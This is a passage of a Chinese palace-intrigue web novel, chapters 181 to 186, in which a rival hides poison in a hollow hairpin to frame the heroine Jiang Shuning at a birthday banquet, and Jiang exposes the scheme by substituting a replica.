此时,一个身着鹅黄色罗裙的娇俏少女正站在一丛盛放的牡丹前,见到姜姝宁,立刻提着裙摆迎了上来,脸上漾开一个甜美的笑容。 “想必这位就是姜姑娘了,苏婉有礼了。” “苏姑娘客气。”姜姝宁平淡地回了一礼,目光不着痕迹地从她身上扫过。 这就是五皇子萧怀瑾的未婚妻,苏婉。 容貌娇艳,眉眼间带着一股商贾人家养出来的精明和娇憨,与京中贵女们端庄持重的气质截然不同。 “早就听闻姜姑娘的美名,今日一见,果然名不虚传。”苏婉亲热 地挽上姜姝宁的手臂,“姜姑娘快来看,这是我们家花匠新培育出的‘墨玉牡丹’,稀罕得很呢!” 姜姝宁被她半拖半拽地拉到花圃前,对那开得妖艳的黑牡丹并无多少兴趣,只是敷衍地点了点头:“确实不错。” 苏婉却像是没听出她语气中的疏离,依旧兴致勃勃地介绍着:“姜姑娘再看那边,那几盆是从江南运来的‘绿云’,还有那边……” 她喋喋不休地介绍着满园的花卉,仿佛真的只是单纯邀她来赏花。 姜姝宁耐着性子听着,目光却被花园一角用木栏围起来的一小片草地吸引了。 那里,一头毛色油亮、头顶长着可爱小角的小鹿,正悠闲地啃着嫩草。 那模样无比熟悉。 是绒毛。 萧怀瑾曾笑着说要送给她的绒毛。 此刻,它出现在了苏婉的府上。 “呀,瞧我这记性,光顾着跟姜姑娘说话,都忘了介绍我们家的新成员了。”苏婉仿佛这才注意到姜姝宁的视线,故作惊讶地轻呼一声,拉着她朝那片草地走去。 “姜姑娘你看,这头小鹿可爱吧?它叫绒毛,是五皇子殿下送给我的。” “殿下说,这是他用心养了半年的宠物,又说这小鹿眼睛像我,水汪汪的,所以送给我了。”苏婉一边抚摸着绒毛的脖颈,一边偏过头,用那双看似天真无邪的眼睛看着姜姝宁,嘴角噙着一抹胜利者的微笑,“殿下对我真是太好了,为了让我开心,连心爱之物都舍得。” 第182章 下狠招 第一百八十二章 下狠招 姜姝宁目光落在绒毛身上,神色如常。 她早料到今日苏婉邀她来,绝非单纯赏花,只是没想到对方竟是特意借此机会,向她炫耀从萧怀瑾那得来的小鹿。 苏婉脸上的得意几乎要满溢而出,眼神中藏着挑衅,仿佛在说:你看,萧怀瑾的心头好,如今都在我这儿了。 姜姝宁心中毫无波澜,嘴角弯起一抹浅淡的笑意:“这只小鹿我在皇宫里见过,确实是五皇子殿下的心爱宠物。能得五皇子割爱,可见苏姑娘在他心中的分量。恭喜苏姑娘了。” 苏婉一愣。 她本等着看姜姝宁脸上露出嫉妒或是失落的神色,可眼前这人却是一副云淡风轻的模样,似乎并不在意,倒是出乎她的意料。 “姜姑娘当真不在意?我可听说,这小鹿原本是五皇子殿下准备要送给你的,如今他给了我,你一点儿也不难过?” “苏姑娘说笑了。”姜姝宁抬眼,目光清冷如一泓秋水,没有半点波澜,“我向来不擅长照顾小动物,况且,苏府比相府优渥得多,绒毛在这里能得到更好的照料。我为绒毛感到高兴才是,怎会难过?” 苏婉见她一幅不痛不痒的模样,心中的妒意顿时如野草般疯长。 在她眼中,姜姝宁的淡定并非不在意萧怀瑾,而是笃定萧怀瑾无论做什么,都会将她放在心尖上。 这份从容像一记响亮的耳光,狠狠抽在了苏婉脸上,让她今日的骄傲和算计,都成了一场彻头彻尾的笑话。 不行,单单得到萧怀瑾心爱的宠物,根本离间不了他们。 得下狠招! 苏婉眼底闪过一抹狠色,面上却又很快恢复那副热情的笑意,像是方才的试探从未发生过:“难得姜姑娘来我府上一趟,我必是要送你一件礼物的!来人,把我梳妆台上那根海棠花金钗拿来!” 一个婢女立刻应声:“是,小姐!” 姜姝宁下意识婉拒:“不必了,苏姑娘太客气了!况且,我也没什么回礼的!” “哎呀,你我相识一场,是要送的!”苏婉笑眯眯地靠近了一步,语气里满是强硬的热络,“回礼什么的,就没必要了!” 不等姜姝宁再推辞,那婢女已捧着一个锦盒快步走来。 苏婉亲自打开盒子,露出一根做工精致的金钗,上头的海棠花雕刻得栩栩如生,花瓣边缘镶着细碎的红宝石,在阳光下熠熠生辉,一看便价格不菲。 姜姝宁眸光一顿,再次推辞:“苏姑娘,这太贵重了!我不能收!” “姜姑娘不必客气!”苏婉却不容她拒绝,径直拿起金钗,亲手插 进姜姝宁的发髻中。 她的手指冰凉,轻轻划过姜姝宁的鬓角,带着一股莫名的侵略感,笑容却越发甜美,“瞧,这海棠花金钗跟姜姑娘多般配啊!就像是为你量身打造的!” 姜姝宁下意识想拔下金钗,可那金钗像是长进她的发髻里,试了几次都拔不下来,若强行拔 出 来,定会弄乱了发髻。 她只得无奈道:“谢苏姑娘,等我回府,再给你回礼。” 心中却暗暗苦恼,相府虽不缺银钱,但能与这金钗等值的首饰,她一时还真想不出几件。 况且,这金钗背后藏着什么心思,她还不得而知,实在难以应对。 苏婉见她收下,笑得越发得意,拉着她又东拉西扯说了一通无关紧要的闲话,这才“依依不舍”地送她离开。 临走前,她还特意叮嘱:“姜姑娘,那金钗可要好好保管呀,这是我特意挑的,旁人我可舍不得给呢!” 姜姝宁只淡淡应了一声。 待她上了马车,离开苏府时,才蓦然察觉,今日苏府那热闹的花园中,除了她,竟再未见一位世家贵女的身影。 看来,她是这场所谓的赏花宴的唯一观众。 她唇角微扬,露出一抹无奈的浅笑,心下暗忖:不过是一头小鹿罢了,至于搭起如此大的戏台,费尽心思地唱这场戏吗? 车厢内,凌芜看着自家小姐,小声道:“大小姐,这位苏姑娘出手未免也太阔绰了,不过是初次见面,竟就送上这般贵重的礼物。” 言下之意是提醒姜姝宁小心提防苏婉,毕竟无事献殷勤,非奸即盗! 姜姝宁抬手,指尖轻轻触碰发髻上那根被强行插上的金钗,一种说不出的不安萦绕在心头。 “凌芜,把小白放出来吧。” 方才入府,为避免腕间的小蛇惊扰旁人,她特意将它留在了马车上。 “是,大小姐!”凌芜应声,打开了马车一角放着的首饰盒。 盒盖一打开,一道雪白的影子便如闪电般蹿了出来。 姜姝宁习惯性地伸出手腕,预备让它缠上来。 然而这一次,小白却对的手腕视而不见,竟径直顺着她的臂膀向上攀爬,目标明确地冲向了她的发间! “大小姐!”凌芜惊呼,“小白它缠在苏姑娘送的那根金钗上了!” 姜姝宁心头猛地一沉。 “快!帮我把金钗取下来!” 凌芜不敢怠慢,手脚麻利地将金钗连同缠在上面的小白一并取下。 只见那条通体雪白的小蛇,正用身体将金钗的钗身紧紧缠绕,蛇头正对着钗柄的位置,不住地吞吐着猩红的信子,显得异常兴奋。 姜姝宁接过金钗,仔细端详,很快便发现了端倪——这海棠花金钗的钗柄与钗身连接处,似乎有一道极其细微的缝隙。 她捏住两端,稍一用力,只听“咔哒”一声轻响,钗柄竟被她轻松地旋了下来! 随着钗柄分离,一些雪白的粉末从被掏空的钗身中簌簌洒落。 小白一见到那些粉末,更是激动不已,立刻凑上前去,伸出信子贪婪地舔 舐着。 姜姝宁忽然想起了姜天泽曾提过,小白自幼便是他用特殊毒物喂养长大的。 难道这粉末…… 她从宽大的袖口里取出孙神医赠她的那套银针,取出一根,小心地探向那堆粉末。 银针触及粉末的瞬间,尖端便以肉眼可见的速度化为一片乌黑! “这金钗里竟然藏着剧毒!”凌芜吓得脸色煞白,倒吸一口凉气,“苏姑娘的心思何其歹毒!她这是想毒害你吗?” 姜姝宁眸光一冷:“此事切莫声张。你拿着金钗,去城中最好的银楼,让他们照着这海棠花的样式,仿制一根一模一样的来,钗柄不必做空。” “是。”凌芜连忙应下,却还是忍不住担忧地小声问:“大小姐,苏婉如此算计您,这事儿要不要告诉景王殿下,让他为您出头?” “不必。”姜姝宁将那包藏着剧毒的钗柄用手帕小心包好,声音清冷而坚定,“我自有分寸。” 她心中明 镜似的。 苏婉此举,绝非为了下毒杀人这么简单。 毕竟这金钗是她众目睽睽之下赠予自己的,一旦自己出事,她便是最大的嫌疑人,如此拙劣的手段,应当不是苏婉赠自己金钗的最终目的。 所以,这藏毒的金钗,必然还有别的用处。 而她要做的,便是静待好戏开场,看苏婉究竟要借这金钗,唱一出怎样的戏码。 第183章 搭好戏台子 第一百八十三章 搭好戏台子 姜姝宁前脚刚走,苏府又迎来了新的客人。 姜瑶真带着张嫣登门拜访。 苏婉连忙迎了上去,脸上堆满了热络的笑:“三皇子妃大驾光临,有失远迎。若有什么吩咐,派人传个话,让民女进宫便是,何需劳烦您亲自跑一趟?” “宫里规矩多,人多口杂,哪有苏姑娘你这儿来得清静自在?”姜瑶真一面说着,一双眼睛却早已不着痕迹地将这厅堂的奢华陈设扫了一遍,目光中难掩贪婪与艳羡,“都说苏家富甲京城,今日一见,果然名不虚传。这份气派,怕是连皇宫内苑也要逊色三分!” 崔家作为皇室外戚,虽同样财力雄厚,行事却向来低调,府邸装潢处处内敛,绝不敢如此张扬。 而苏家则不同,尚未与皇权有过多牵扯,这份毫不掩饰的富贵,几乎要晃花人的眼睛。 “三皇子妃谬赞了。”苏婉得意地一笑,顺势接话道,“您若是不嫌弃,随时都可以来我这儿小坐,我也好时常沾一沾皇子妃的贵气!” “那敢情好!”姜瑶真目的达成,笑意更深,“说正事,我今日来,是想将张姑娘引荐给你认识。张姑娘如今已是准肃王妃,日后便是我们的皇嫂了!” 张嫣始终不愿接受自己即将嫁给肃王萧锦瑜的事实,听姜瑶真如此介绍,只僵硬地扯了扯嘴角,算是和苏婉打了招呼。 苏婉笑着道:“原来是未来的肃王妃,失敬失敬!张姑娘气质清雅脱俗,我瞧着,倒有一件首饰与你极为相称!来人,将我妆台上那支翠蓝色点翠花簪取来,权当是我送给张姑娘的见面礼!” 很快,婢女便捧着一个锦盒呈上。 苏婉不由分说地将盒子塞进张嫣手中,笑道:“小小礼物,不成敬意,张姑娘可千万别推辞!你们先在暖阁稍坐片刻,我去去就来!” 说罢,便领着婢女转身离去。 张嫣捏着手中的锦盒,神色阴郁。 她本就对萧怀瑾的这位未婚妻没什么好感,此刻见她这般做派,更是气不打一处来,低声对姜瑶真抱怨道:“三皇子妃,你看她这是何意?初次见面,就迫不及待彰显自己的财大气粗吗?未免也太俗不可耐了!” “张姑娘息怒,商贾人家嘛,示好的方式就是这般直接,她并无恶意。”姜瑶真嘴上轻声安抚,心中却在暗自腹诽这张嫣不知好歹。 白白得了一件价值不菲的礼品,还有什么可抱怨的? 片刻后,换了一身藕荷色衣裙的苏婉袅袅而回。 她径直走到姜瑶真身边,笑着道:“三皇子妃,您今日若是不来,我也正打算进宫寻您。我想请您在宫中办一场宴席,就在三皇子的宫殿里,将京中相熟的世家贵女都请过去。” “办宴席?”姜瑶真精神一振,立刻凑近了些,声音压得更低,“莫非……苏姑娘已经想好了对付我那好姐姐的法子?” 苏婉的目光下意识地朝张嫣瞥了一眼,带着几分犹豫。 姜瑶真立刻会意,拍了拍她的手背道:“苏姑娘放心,张姑娘如今与我们是一条船上的人!” 苏婉挑了挑眉,语气里带着一丝毫不掩饰的诧异:“难道……姜姝宁竟连肃王也勾搭?” 空气瞬间凝滞。 张嫣脸色有些难看。 她真正在意的并非自己的未婚夫婿萧锦瑜,而是萧怀瑾。 她之所以愿意与姜瑶真为伍,针对姜姝宁,也全然是为了那个温润如玉的五皇子。 这个秘密她并不打算让苏婉这个初次见面的“盟友”知晓。 姜瑶真连忙强行将话题拉了回来:“哎,不说这个了!苏姑娘,还是快说说你的妙计吧!” 苏婉唇角勾起一抹淬了毒般的笑意,她凑近二人,低声道:“今日我邀姜姝宁来苏府,特地送了她一根金钗……” 她把自己的计划说了出来,尔后嘟着嘴道:“这个计谋虽好,但我实在不愿挨那一下,想想都觉得疼!” “那便由我来。” 张嫣的声音冷得像冰,却没有一丝一毫的犹豫,“只要能坐实姜姝宁谋害皇室姻亲的罪名,区区一点皮肉伤,又算得了什么?” “当真?”苏婉眼中一亮,故作惊喜地上前握住她的手,亲热道,“那可就真有劳张姑娘了!” “客气。”张嫣却不动声色,甚至带着一丝嫌恶,将自己的手从她温热的掌心中抽了出来。 等解决了姜姝宁,下一个便轮到苏婉了。 她心中的月亮,岂容别的女人染指? 哪怕一个挂名侧妃,她也容不下! 只不过,如今两害相权取其轻。 比起苏婉这个未婚妻,那个夺走了萧怀瑾心的姜姝宁,才是她心头最大的那根刺,必须先一步拔除! 不出三日,相府便收到了宫里送来的烫金请帖,邀请他们参加三皇子妃姜瑶真的生辰宴。 按照大邺习俗,寿辰可早办却不宜推迟,但提前了整整一个多月,这份急不可耐的背后,隐隐透着一股不同寻常的意味。 果不其然,宫里的请帖前脚刚到,苏府的信使后脚便登了门,点头哈腰地转达了苏婉的“央求”——恳请姜姝宁务必在三皇子妃的生辰宴那日,务必戴上她相赠的那支海棠金钗。 “我家小姐说,此钗乃今岁时兴的新样子,若能得姜姑娘在三皇子妃的生辰宴上佩戴,定能引得满座贵女争相效仿,届时我们苏家的生意定会节节攀升!”信使搓着手,笑得一脸谄媚。 凌芜当即一声冷哼,毫不客气地戳穿:“既是为了生意,为何不请生辰宴的主角三皇子妃佩戴?她的身份,岂不是比我家小姐更引人注目?” “这……”信使顿时被噎得满脸通红,支支吾吾半天说不出个所以然。 姜姝宁却抬手制止了凌芜,温声道:“你回去告诉苏姑娘,这金钗,我届时定会戴上。能为苏家的生意锦上添花,也是一桩美事。” 那信使如蒙大赦,千恩万谢地退下了。 人一走,凌芜便急了:“大小姐!这鸿门宴的意味都快写在脸上了,您怎么还答应她?” “人家戏台都搭好了,我们岂有不到场的道理?”姜姝宁眼底闪过一丝冷光,悠悠问道,“吩咐你去银楼仿制的那支金钗,可取回来了?” “早已取回,奴婢比对过,与苏家那支分毫不差!” “甚好。”姜姝宁微微颔首,“寿宴那日,我便戴那支新做的。” 她倒要亲眼看看,她的好妹妹和那位苏家小姐,究竟为她准备了一场怎样的大戏! 第184章 像个市井无赖! 第一百八十四章 像个市井无赖! 姜瑶真生辰宴那晚,麟阁宫万分热闹。 宫内华灯璀璨,衣香鬓影,受邀而来的不仅有太后与各宫贵妃,更有满朝重臣及其家眷。 三皇子萧修湛甚至不计前嫌,将几位已经封王和尚未封王的兄弟,就连同死对头萧凌川都一并请了来。 他比谁都清楚,这场以生辰为名的盛宴,其实是个精心布置的戏台,只为等待某个特定的角色登场,而观众,自然是越多越好。 当姜姝宁与堂弟姜天泽一同抵达时,她一袭素雅的湖蓝色衣裙,在满室的绮罗珠翠中,反而显得格外醒目。 几乎是她踏入殿中的瞬间,一道身影便黏了上来。 “姜姑娘,可算把你盼来了!”苏婉笑意盈盈,目光如钩,飞快地在她发髻上扫过,当看到那支熟悉的海棠金钗时,唇边的笑容瞬间加深,明媚中透着一丝志在必得的精光。 姜姝宁注意到她身穿桃红色裙装,显得娇艳又明媚。 她敛了敛眸,为苏婉引荐:“苏姑娘,这是我堂弟,姜天泽。” “见过苏姑娘。”姜天泽依着礼数颔首,态度不卑不亢,却也带着一丝疏离。 苏婉仿佛没听见一般,亲热 地挽上姜姝宁的手臂:“姜姑娘,这满殿的人,我瞧着都眼生,正觉得无趣呢!你快陪我走走!” 姜天泽眉头微蹙,正要跟上,却被姜姝宁一个安抚的眼神制止了。 “也好,”姜姝宁从容一笑,“我正要带堂弟去拜见今日的寿星三皇子妃,苏姑娘不如一道前往?” 她心底冷笑,绝不信姜瑶真将生辰宴提前整整一月,与苏婉毫无瓜葛。 恐怕这二人早就暗中勾结,狼狈为奸。 不出所料,苏婉立刻故作娇嗔地摆摆手,摇头道:“哎呀,人多眼杂,我看着就头晕。咱们还是自个儿逛逛吧!” 姜姝宁心中了然,看来今日作妖的不是姜瑶真,否则苏婉也不会刻意避开她。 就在这时,一道目光穿过人群,落在了姜姝宁身上。 萧怀瑾迈着沉稳的步子,缓缓向她走来。 “五皇子殿下!”苏婉抢先开口,声音里带着刻意的娇俏,身形一闪,迅速挡在姜姝宁身前,“您是特意来寻我的吗?” 萧怀瑾并未理会她,深邃的视线依然停留在姜姝宁身上,似有千言未吐。 姜姝宁神色平静,微微屈膝行礼:“臣女见过五皇子殿下。” “免礼。”萧怀瑾的声音一如既往清冽如泉,语气中透着一丝不易察觉的柔和,“姜姑娘……” “殿下,”苏婉毫不犹豫地打断他,语气暧昧,娇笑中满是试探,“您难道就没有话想对我说吗?” 她那娇憨的神态,仿佛与萧怀瑾早就熟稔无间。 萧怀瑾微微一顿,以为她在暗示退婚之事,目光在她身上短暂停留,最终点了点头:“苏姑娘,我的确有事想问你。” “姜姑娘,真是不好意思,殿下与我有私事要谈。”苏婉故作歉然地转身,眼底的得意却几乎要化为实质满溢而出,“你先四处看看,我稍后便来寻你。” “好。”姜姝宁唇角微勾,从善如流。 她其实有些失望的。 苏婉能拿得出手的,就这点上不得台面的争风吃醋的伎俩而已吗? 费尽心机布下这么大的阵仗,若只是演这种闺阁女儿家的小打小闹,那也未免太无趣了些。 姜姝宁转身朝正殿走去,却不想刚迈出一步,便撞上了一堵人墙。 抬头一看,萧凌川那张冷峻的脸赫然出现在眼前。 他一袭玄色锦袍,腰间玉带勾勒出劲瘦的轮廓,眉眼间带着几分玩味,像是早就候在这儿等着她。 “姜姑娘,走得这么急,是要去哪儿?”萧凌川的声音低沉,带着一丝刻意的揶揄。 姜姝宁一看到他,就不由自主想起那日亲眼目睹他虐杀姜家姨娘的画面,实在生不出半分好感。 她不动声色地退后半步,拉开距离:“臣女自是要去正殿为三皇子妃贺寿,王爷若无他事,臣女便先行一步。” 萧凌川轻笑一声,笑意却不达眼底,他故意道:“姜姑娘方才应该见过五弟的未婚妻苏姑娘了吧?她和我五弟可真是般配得紧,旁人看了都得说一句天作之合。” 他这话说得阴阳怪气,像是试探,又像是故意挑拨。 姜姝宁唇角微微一勾,抬眼看向他,语气平静得近乎冷漠:“王爷说笑了,五皇子与苏姑娘如何,与臣女何干?” 萧凌川眯了眯眼,似乎不信她会无动于衷。 他上前一步,逼近她,声音压低了几分,带着几分意味深长:“姜姑娘,别怪本王没提醒你,这世上善妒的女子最是可怕,会做出些骇人听闻的事来。依本王看,你还是离苏姑娘远些,免得惹祸上身。” 姜姝宁听出他话里的暗示,隐隐有些意外。 这苏婉对自己的敌意当真如此明显,竟连萧凌川都看得出? 她像是听了个无关紧要的笑话,淡淡道:“多谢王爷提醒。不过,今日是三皇子妃的生辰宴,王爷不去送贺礼,站在这与臣女说这些,未免有些本末倒置了吧?” 她心中冷笑,心上人生辰宴这么重要的场合,他不急着去献殷勤,反而有闲情逸致与她在这里东拉西扯? 当真是稀奇。 她下意识朝苏婉的方向瞥了一眼,想着那女人接下来还能玩出什么花样。 萧凌川以为她在偷瞄萧怀瑾,眉头微皱,语气里多了几分不耐:“姜姑娘既惦记着送礼,不如咱们一道去,也好让本王见识见识你的心意。” 姜姝宁一愣,还没来得及拒绝,手腕已被他一把扣住,力道不重,却不容挣脱。 她皱眉,低声道:“王爷这是何意?” 萧凌川低笑,声音里带着几分揶揄:“本王不过是想陪姜姑娘走一趟,免得你一个人无聊。” 他不由分说,拉着她便往正殿走去。 姜姝宁怕拉拉扯扯反倒引人注目,只得压下心头的不快,随他前行。 宽大的袖子底下,她的手腕被他握着,他掌心的温度炙热,烫得她心头一跳。 她不动声色地抽了抽手,却被他握得更紧,显然是故意为之。 她咬了咬唇,暗骂萧凌川堂堂皇子,行事却像个市井无赖! 正殿内,姜瑶真正被一众宾客围着,笑得满面春风。 她一袭鹅黄宫装,头戴金步摇,端的是明艳动人。 桌上堆满了各色贺礼,珠光宝气映得她眼底都亮了几分。 听见通报声“景王殿下到”,她笑容微僵,抬眼看向萧凌川,目光中闪过一抹不易察觉的恨意。 不过,她掩饰得极快,下一刻便换上了一副娇俏可人的模样,起身迎上前:“景王殿下肯赏脸来,实是妾身的福分,殿下快请上座。” 她笑容甜美,偏偏那双眼睛却冷得像淬了冰。 萧凌川松开姜姝宁的手,微微颔首,语气不咸不淡:“三皇子妃过奖了。本王不过略备薄礼,聊表心意。” 他从随从手中接过一个锦盒,递了过去。 姜瑶真接过,打开一看,里面是一尊精致的玉雕,雕的是一朵莲花,花瓣莹润剔透,栩栩如生,唯独花头朝下,像是被人故意倒置。 周围的宾客纷纷凑上前,啧啧称赞:“好玉!这玉质,当真是上品!” 姜瑶真轻抚着玉雕,眼中满是欣赏:“景王殿下真是大手笔,这玉雕做工精致,妾身喜欢得不得了!” 姜姝宁站在一旁,冷眼旁观,心中却有些疑惑。 这玉雕虽美,却透着一股怪异,花头朝下,哪有人送这样的礼? 她瞥了萧凌川一眼,见他嘴角噙着一抹冷笑,眼神深邃,像是藏了无数算计。 她隐约觉得这玉雕别有深意。 萧凌川探究的目光在姜瑶真脸上停留片刻,但她神情如常,没有任何波澜。 难道她不知道,自己生母的真正名字是花莲? 看来,姜瑶真至今还以为自己是南月公主花芷若的女儿。 萧凌川在心中冷笑,花莲还真是将身世瞒得滴水不漏,连自己女儿都骗过。 就在这时,那个莲花玉雕毫无征兆地裂开来,碎了一地。 姜瑶真的笑容瞬间僵在脸上。 第185章 处心积虑的陷害 第一百八十五章 处心积虑的陷害 突如其来的碎裂声,让满殿宾客顿时愣住。 众人还未回神,便见那碎开的莲花玉雕中,竟藏着一尊小巧的玉质女子雕像,眉目慈和,宛若菩萨。 “原来这玉菩萨才是真正的贺礼!”有人惊叹,宾客们随即纷纷附和,笑道:“景王殿下这份心意,真是别出心裁!” 她忽然想起前世萧凌川的生辰宴上,姜瑶真也曾送过他一尊极为相似的菩萨玉雕。 这造像与大邺常见的菩萨迥然不同,莫非是南月国特有的风俗? 他们是否借这玉菩萨暗中传递什么隐秘讯息? 四周宾客的恭维声此起彼伏,姜瑶真面上强撑着得体的笑意,竭力维持着三皇子妃的端庄姿态。 其实,她内心早已怒火中烧,几乎按捺不住。 在南月国,这尊“母神”玉雕是专为祭祀亡母所用。 在生辰宴上送出这样的礼物,无异于送上纸钱或棺材,晦气至极,简直是赤果果的挑衅! 萧凌川冷眼旁观着她极力掩饰的愤怒,唇角勾起一抹冰冷的笑意。 前世,他收到姜瑶真赠送的母神玉雕时,心中满是感动——他的生母在大邺皇室乃是禁忌,姜瑶真的礼物仿佛让他得以寄托哀思。 后来,他才知道那不过是姜瑶真母女虚情假意的手段,借此笼络他,诱他谋逆,最终只为她们坐收渔翁之利。 今生,他索性将这尊母神玉雕“归还”姜瑶真,既是试探,也暗藏恶毒的诅咒。 姜瑶真的神情终于露出一丝裂痕。 她强挤出笑容,提议与萧凌川私下交谈,眼底却是藏不住的恨意。 姜姝宁敏锐地捕捉到两人之间的暗流涌动,心中一再告诫自己切莫插手,却仍鬼使神差地悄悄跟了上去。 只见萧凌川与姜瑶真一同步入后花园,她正准备跟上,却被一只手猛地拽住。 “姜姑娘,可算找到你了!”苏婉笑靥如花,紧紧拉着她的手,“夜宴还没开始,你陪我四处逛逛吧!” 姜姝宁神色微沉,她不能让苏婉察觉自己在跟踪萧凌川他们,只得勉强应下。 后花园中,姜瑶真骤然停下脚步,猛地转身怒视萧凌川:“景王殿下究竟是何居心?在我生辰宴上送出如此晦气之物,就不怕遭天谴吗?” 在她看来,萧凌川不仅杀了她的姨娘,如今还故意送上这尊母神玉雕,分明是赤果果的羞辱与诅咒,简直欺人太甚! 萧凌川闻言,冷笑一声,语气淡漠而讥讽:“本王若放任你们母女在大邺境内为非作歹,那才真是会遭天谴。三皇子妃见本王没死在南朔之地,心中很是失望吧?” “我不知王爷此言何意。”姜瑶真别开视线,强自镇定。 她姨娘设计暗杀萧凌川一事已然失败,如今她只能装作一无所知,免得被牵连其中。 萧凌川冷笑更深,目光如冰:“怎么,三皇子妃难道不想取回你姨娘的尸首吗?”姜瑶真闻言,脸色陡变:“你到底想要什么?” “把玉牌给本王,本王便将你姨娘的尸首归还。”萧凌川目光如刀。 “什么玉牌?”姜瑶真皱眉,似是满腹疑惑,“我姨娘从未提过什么玉牌!” 萧凌川凝视她片刻,她眼底的茫然不似作伪。 难道,玉牌真不在她身上? 就在此时,一声尖利的惊叫撕 裂夜空,刺耳而急促:“救命啊!姜姑娘杀人了——” 萧凌川神色骤变,当即转身,循着声音的来源疾步冲出后花园。 姜瑶真站在原地,唇角缓缓勾起一抹阴冷而得意的笑意。 好戏,终于开场了。 只见一袭粉色裙装的张嫣从假山后踉跄跑出,她边跑边声嘶力竭地尖叫:“姜姑娘杀人了——” 她的左肩处,黑红色的血不断涌出,触目惊心,在众目睽睽之下,她无力地倒在地上,气息微弱。 姜瑶真装作慌乱失措地从后花园快步跑来,声音急切:“这究竟是怎么回事?快,速速宣御医!” 御医闻讯赶来,迅速为张嫣施针,随后禀告姜瑶真,语气凝重:“三皇子妃,张姑娘左肩被刺伤,且中了剧毒!看这伤口,像是女子佩戴的簪柄所致。” “是谁如此狠毒?”姜瑶真环顾四周,声音中带着几分震怒,“方才谁在假山后?” “我和姜姑娘方才就在假山后!”苏婉主动上前,脸上满是惊慌失措的神情,“张姑娘怎么了?怎么会受伤?都怪我,方才我不该与姜姑娘起争执,她定是将张姑娘错认成了我……” 众人这时才注意到,苏婉身上的衣裙与张嫣的几乎一模一样,颜色、款式都难分彼此。 再加上张嫣方才冲出时声嘶力竭地喊着“姜姑娘杀人了”,所有人的目光顿时齐刷刷地落在了从假山后缓缓走出的姜姝宁身上。 “姐姐,你为何要伤张姑娘?”姜瑶真一副痛心疾首的模样,“我知道苏姑娘与五皇子殿下定亲,你心中一直不满,可你也不能因此妒恨苏姑娘,甚至错伤了张姑娘。你竟用带毒的簪柄下手,心肠怎会如此歹毒!” 听到这话,宾客们一片哗然。 太后闻讯而来,脸色阴沉,沉声问道:“究竟是怎么回事?” 姜瑶真连忙趁机道:“皇祖母,张姑娘方才高声喊着说我姐姐要杀她,如今她左肩流血不止,且似乎中了剧毒!” 太后冷声下令:“既然如此,还不速速将张姑娘送去医治?” “是,太后娘娘!”御医不敢怠慢,忙招呼几名内侍上前,小心翼翼地将已因中毒而神志昏迷的张嫣抬了出去。 “皇祖母,今日是妾身的生辰宴,怎料竟出了这样的事!还请皇祖母千万莫要重罚我姐姐,她也是一时无法接受苏姑娘与五皇子殿下定亲之事,这才酿下大错!” 姜瑶真看似在为姜姝宁求情,实则字字句句都在给她定罪,步步紧逼。 萧怀瑾见状,当即就要上前为姜姝宁辩解,却被萧凌川一把拽住。 他冷声道:“你若不想给姜姑娘添乱,就莫要上去掺和!” 萧怀瑾怒目而视:“四哥难道一点也不担心姜姑娘?她分明是被人陷害的!” 萧凌川冷哼一声,带着几分不屑:“你未免太小看她了,她自有办法证明自己的清白!” 方才听到那呼救声时,萧凌川的第一反应便是姜姝宁遭遇了危险。 当他赶来发现受伤的并非她时,心中悬着的石头才落地。 再见姜姝宁一脸从容镇定,他便笃定她能自行化解这场危机。 太后转头看向姜姝宁,目光凌厉,语气中带着不容置疑的威压:“姜姑娘,三皇子妃所言是否属实?” 面对质问,姜姝宁神色平静:“启禀太后,臣女没有刺伤张姑娘。臣女与她无冤无仇,没有伤害她的理由!” “还敢狡辩,方才张姑娘分明喊的是你!”姜瑶真一脸愤怒,咄咄逼人,“你原本是想刺伤苏姑娘,只因张姑娘穿得与她相似,再加上假山后灯火昏暗,你才认错了人!” 姜姝宁闻言,唇角勾起一抹嘲讽的笑意,目光冷冽地看向姜瑶真,反问道:“既然假山后灯火昏暗,我会认错人,那张姑娘怎么能一眼就认出是我伤了她?” “这……”姜瑶真语塞,脸色微变。 她一心想着自圆其说,竟忽略了这个明显的漏洞,一时被问得哑口无言。 苏婉见状,忙不迭道:“启禀太后,既然御医说张姑娘是被簪柄刺伤,那可否请姜姑娘将发髻上的簪子和金钗尽数卸下,以此自证清白!” 太后微微颔首,目光冷肃,对身旁的吴嬷嬷吩咐道:“你去帮姜姑娘把她头上的朱钗簪子都取下来。” “是,太后娘娘!”吴嬷嬷恭敬应声,随即端着一个托盘,快步来到姜姝宁身前,语气平和却不容置疑,“请姜姑娘配合。” 人群中的姜天泽见此情景,顿时怒火中烧:“你们怎能如此羞辱我大姐姐!” “无妨,我配合便是。”姜姝宁淡淡一笑,声音平静而从容,不受半分影响。 她亲自动手,将头上的簪子一一摘下,交到吴嬷嬷手中。 她本就未佩戴多少首饰,摘下后发髻虽略显松散,却无损她的端庄气度。 苏婉目不转睛地盯着她摘下的那根海棠金钗,唇角悄然勾起一抹得意的笑意。 她刻意加重语气,似是好心提醒:“有些簪柄特意设计了空隙,专供女子装香粉用,嬷嬷可要仔细查验,难保不会在这簪柄中藏着什么害人的东西……” 她话音未落,吴嬷嬷已将仅有的三根朱钗逐一细查完毕,随后恭敬地向太后禀告:“启禀太后,姜姑娘所佩戴的簪子和朱钗上并无任何血迹,亦未发现毒粉的痕迹。” 苏婉闻言,脸色骤然一变,失声低呼:“这怎么可能?” 她再也按捺不住,径直上前从托盘中拿起那根海棠金钗,试图旋开簪柄查看。 然而,无论她如何用力,那簪柄却纹丝不动,毫无松动之象。 姜姝宁神色淡然地注视着她徒劳的举动,缓缓开口,语气中带着几分嘲讽:“苏姑娘,你不必白费力气了,这并非你送我的那根金钗。” 她稍作停顿,继续道,“你送我的那根金钗太过贵重,我今日出门前已命人将其退还至苏府,想来,你们苏府的人已经收下!” 萧凌川闻言,立即沉声下令:“凌风,即刻前往苏府,将姜姑娘退回的那根金钗取来!本王倒要看看,究竟是何人如此处心积虑地陷害姜姑娘!” 此言一出,苏婉的脸色瞬间变得煞白! 第186章 解除婚约 第一百八十六章 解除婚约 苏婉万万没有料到,姜姝宁竟将那根暗藏玄机的金钗退回了苏府。 看着姜姝宁那双平静如水的眸子,她心中猛地升起一个令人毛骨悚然的猜测:姜姝宁早就洞悉了一切! 她故意踏入这局中,故意佩戴另一根相似的金钗,就是要诱使自己和三皇子妃一步步逼近,将所有的阴谋算计都摊开在众人眼前,然后在最后关头,以这致命一击,把自己彻底钉死在罪人的耻辱柱上! 这个念头如同一盆刺骨的冰水,从苏婉的头顶直浇而下,她四肢百骸都泛起一阵寒意。 